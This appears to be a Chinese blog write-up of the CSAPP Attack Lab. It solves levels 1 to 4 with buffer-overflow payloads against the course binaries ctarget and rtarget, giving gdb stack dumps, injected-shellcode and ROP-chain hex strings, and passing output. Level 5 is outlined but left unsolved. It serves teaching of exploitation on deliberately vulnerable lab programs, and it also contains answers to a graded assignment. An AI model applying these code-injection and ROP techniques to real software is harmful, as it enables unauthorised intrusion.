attacklab这节玩的是利用一个字符串进行缓冲区溢出漏洞攻击,就小时候想象中黑客干的事儿.

做题的时候好几次感叹这些人的脑洞,"这都可以攻击?还能这么注入?这还可能借力打力?"等自己注入的时候却是"啊?怎么又段错误了?怎么又算错地址了?"也是一次有趣的经历了.

小插曲:我拿到文件的时候直接去读得readme,看完了还迷惑这readme咋就这么点信息.后来知道了实验都要配合着writeup讲义看,不禁感叹我前两个实验没看讲义还能做出来真是个奇迹!

level1

第一步先反汇编拿到ctarget的代码

0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 retq
401991: 90 nop 00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop 00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>

0x4017b9打个断点,这时候创建了内容为This is a test str.的文本文件in.txt,在gdb里用set args -qi in.txt指定为输入源.让程序运行到断点,查看栈帧信息

(gdb) x/60xb 0x5561dc78
0x5561dc78: 0x54 0x68 0x69 0x73 0x20 0x69 0x73 0x20
0x5561dc80: 0x61 0x20 0x74 0x65 0x73 0x74 0x20 0x73
0x5561dc88: 0x74 0x72 0x2e 0x00 0x00 0x00 0x00 0x00
0x5561dc90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dc98: 0x00 0x60 0x58 0x55 0x00 0x00 0x00 0x00
0x5561dca0: 0x76 0x19 0x40 0x00 0x00 0x00 0x00 0x00
0x5561dca8: 0x09 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dcb0: 0x24 0x1f 0x40 0x00
(gdb) x/s 0x5561dc78
0x5561dc78: "This is a test str."

这里面的0x76 0x19 0x40对应的就是返回地址,我们的目标就是把它修改为touch1入口的地址0x004017c0.换成机器码就是0xc0 0x17 0x40 0x00,注意是倒序哦.

从栈顶到要修改区域之间我用0x54(ASCII中的'T')填充之.我创建了一个exploit.txt,内容为

54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
c0 17 40 00 00 00 00

不要拘泥于后面那几个零.讲义里说了,多覆写几个字节不碍事

把这个文件交给hex2raw处理之

./hex2raw < exploit.txt > raw.txt

我用VSCode的hexdump插件检查了下正确性,然后把它丢进了ctarget里,测试之,正确.

./ctarget -qi raw.txt
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:54 54 ..... 54 C0 17 40 00 00 00 00

level 2

先来分析touch2的代码

void touch2(unsigned val)
{
vlevel = 2; /*Part of validation protocol*/
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
}
else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

很明显需要把cookie作为参数调用touch2,即先把cookie放入rdi,再ret.这里可把我卡住了,ret只能改rip,怎么改rdi呢?

热心网友的一句话点醒了我:先在栈帧里写好代码,再ret到栈帧的位置

我们要做的事情可以概括为

执行retq到栈帧顶
执行以下汇编代码:
mov cookie,%rdi
pushq touch2
retq

具体操作:

先在ex.s里写好汇编代码

movq $0x59b997fa,%rdi
pushq $0x4017ec
retq

先编译,再反汇编得到机器码

gcc -c ex.s
objdump -d ex.o > ex_dump.txt

ex_dump.txt:

ex.o:     文件格式 elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3

gdb调试得读入字符串时栈顶地址为0x5561dc78,根据这个地址和ex_dump.txt编写exploit.txt

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

生成raw文件,测试,通过

./hex2raw < exploit.txt > raw.txt
./ctarget -qi raw.txt
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68
EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

level 3

先来看讲义里的代码

/*Compare string to hex represention of unsigned value*/
int hexmatch(unsigned val, char*sval)
{
char cbuf[110];
/*Make position of check string unpredictable*/
char*s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char*sval)
{
vlevel = 3;
/*Part of validation protocol*/
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
}
else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

这一次我们要传入的参数是cookie对应的十六进制字符串,有趣的一点是为了防止我们直接获取s值当作参数,它加了一个random()运算.

有了第二关的经验,这关就很简单了,先仿照hexmatch求出cookie对应的十六进制字符串35 39 62 39 39 37 66 61 0,然后把它塞到栈里,再把这个地址塞进rdi里.这里我把它塞到了0x5561dca8

ex.s:
movq $0x5561dca8,%rdi
pushq $0x4018fa
retq exploit.txt:
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00

注意最终生成的raw文件里要避免中途出现0X0A.

再来说我为什么要取0x5561dca8,因为按我的汇编代码执行到touch3的时候栈顶会变成0x5561dca8,如果在小于此地址的地方写数据在执行touch3的时候会被新压入栈的数据覆写掉

Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68
FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39
62 39 39 37 66 61 00

level 4

初见fram.c的长度,我--傻--了.但冷静下来寻思,这个问题还是不难的.我们的目标可以概括为

movq $cookie,%rdi
ret touch2

而我们能用的语句只有pop,mov,nop这几种.所以要么直接把cookie传入rdi,要么借助pop间接传入rdi,即

popq %reg1
movq %reg1,%reg2
movq %reg2,%reg3
......
movq %regN,%rdi
ret touchw

借助讲义里的表格一番搜寻后发现能用的只有以下几个指令

这里只统计了movq,没统计普通mov

movq %rax,%rdi
movq %rsp,%rax
popq %rax

答案就出来了

popq rax => movq rax,rdi

剩下的就是手工算偏移,转换成十六进制了

exploit.txt:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
00

需要注意的一点是带q的操作数都是8字节的

Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97
B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00
00 00

level 5

这一关就是体力活了,如讲义里所讲,这关并没有出现啥新机制,只是复杂版的level 4,不做也行.

随机栈虽然厉害,但只要通过ROP拿到了%rsp,照样是能被破解的.而上一关我们就提到了movq %rsp,%rax,在加上还有个lea (%rdi,%rsi,1),%rax,以及三十多个mov,所以解题思路就很明显了.

可这mov是三十多个啊!要一个个先转换出来再寻找通路,真就码农呗!我也就懒得做了.

【CSAPP】Attack Lab实验笔记的更多相关文章

  1. 【CSAPP】Shell Lab 实验笔记

    shlab这节是要求写个支持任务(job)功能的简易shell,主要考察了linux信号机制的相关内容.难度上如果熟读了<CSAPP>的"异常控制流"一章,应该是可以不 ...

  2. 【CSAPP】Cache Lab 实验笔记

    cachelab这节先让你实现个高速缓存模拟器,再在此基础上对矩阵转置函数进行优化,降低高速缓存不命中次数.我的感受如上一节,实在是不想研究这些犄角旮旯的优化策略了. 前期准备 我实验的时候用到了va ...

  3. 【CSAPP】Performance Lab 实验笔记

    perflab这节的任务是利用书中知识,来对图像处理中的Rotate和Smooth操作函数进行优化.这次没对上电波,觉得学了一堆屠龙之技.于我个人理解,现在计算机配置比以前高多了,连SWAP分区都几近 ...

  4. 【CSAPP】Architecture Lab 实验笔记

    archlab属于第四章的内容.这章讲了处理器体系结构,就CPU是怎样构成的.看到时候跃跃欲试,以为最后实验是真要去造个CPU,配套资料也是一如既往的豪华,合计四十多页的参考手册,一大包的源码和测试程 ...

  5. 【CSAPP】Bomb Lab实验笔记

    bomblab这节搞的是二进制拆弹,可以通俗理解为利用反汇编知识找出程序的六个解锁密码. 早就听闻BOMBLAB的大名,再加上我一直觉得反汇编是个很艰难的工作,开工前我做好了打BOSS心理准备.实际上 ...

  6. 【CSAPP】Data Lab实验笔记

    前天讲到要刚CSAPP,这一刚就是两天半.CSAPP果然够爽,自带完整的说明文档,评判程序,辅助程序.样例直接百万组走起,管饱! datalab讲的是整数和浮点数怎么用二进制表示的,考验的是用基本只用 ...

  7. ChCore Lab3 用户进程和异常处理 实验笔记

    本文为上海交大 ipads 研究所陈海波老师等人所著的<现代操作系统:原理与实现>的课程实验(LAB)的学习笔记的第三篇:用户进程与异常处理.所有章节的笔记可在此处查看:chcore | ...

  8. CSAPP buffer lab记录——IA32版本

    CSAPP buffer lab为深入理解计算机系统(原书第二版)的配套的缓冲区溢出实验,该实验要求利用缓冲区溢出的原理解决5个难度递增的问题,分别为smoke(level 0).fizz(level ...

  9. CSAPP Bomb Lab记录

    记录关于CSAPP 二进制炸弹实验过程 (CSAPP配套教学网站Bomb Lab自学版本,实验地址:http://csapp.cs.cmu.edu/2e/labs.html) (个人体验:对x86汇编 ...

随机推荐

  1. 去掉一个Vector集合中重复的元素 ?

    Vector newVector = new Vector(); For (int i=0;i<vector.size();i++) { Object obj = vector.get(i); ...

  2. 如何在网上找java包

    如图所示 在java api后面输入你要找包的名称就可以了

  3. Spring工作原理:初识SpringMVC

    1.SpringMVC简介 SpringMVC是Spring框架的一个模块.SpringMVC和Spring无需通过中间层进行整合.是一个轻量级的,基于请求响应的MVC框架. 2.1.什么是MVC? ...

  4. 学习Solr(二)

    一.Solr概述 1.什么是Solr Solr 是Apache下的一个顶级开源项目,采用Java开发,它是基于Lucene的全文搜索服务器.Solr提供了比Lucene更为丰富的查询语言,同时实现了可 ...

  5. 学习Haproxy (七)

    haproxy是个高性能的tcp和http的反向代理.它就是个代理.不像nginx还做web服务器 官网地址为www.haproxy.org nginx的优点和缺点 ? 1 2 3 4 5 6 7 8 ...

  6. Tcp的Flags

    在TCP层,有个FLAGS字段,这个字段有以下几个标识:SYN, FIN, ACK, PSH, RST, URG. 其中,对于我们日常的分析有用的就是前面的五个字段. 它们的含义是: SYN表示建立连 ...

  7. 学习FastDfs(三)

    FASTDFS是什么 FastDFS是由国人余庆所开发,其项目地址:https://github.com/happyfish100 FastDFS是一个轻量级的开源分布式文件系统,主要解决了大容量的文 ...

  8. 学习Kvm(三)

    虚拟化(将一个物理硬件平台虚拟成多个) vmware(模拟出一堆硬件设备,每一个硬件设备都是独立平台) 虚拟化要解决的问题(硬件之上的OS,有用户空间.内核空间:vmware虚拟机所模拟出的多个硬件平 ...

  9. C++ pair的基本用法总结

    1,pair的应用 pair是将2个数据组合成一组数据,当需要这样的需求时就可以使用pair,如stl中的map就是将key和value放在一起来保存.另一个应用是,当一个函数需要返回2个数据的时候, ...

  10. 在TypeScript项目中进行BDD测试

    在TypeScript项目中进行BDD测试 什么是BDD? BDD(Behavior-Driven Design)是软件团队的一种工作方式,通过以下方式缩小业务人员和技术人员之间的差距: 鼓励跨角色协 ...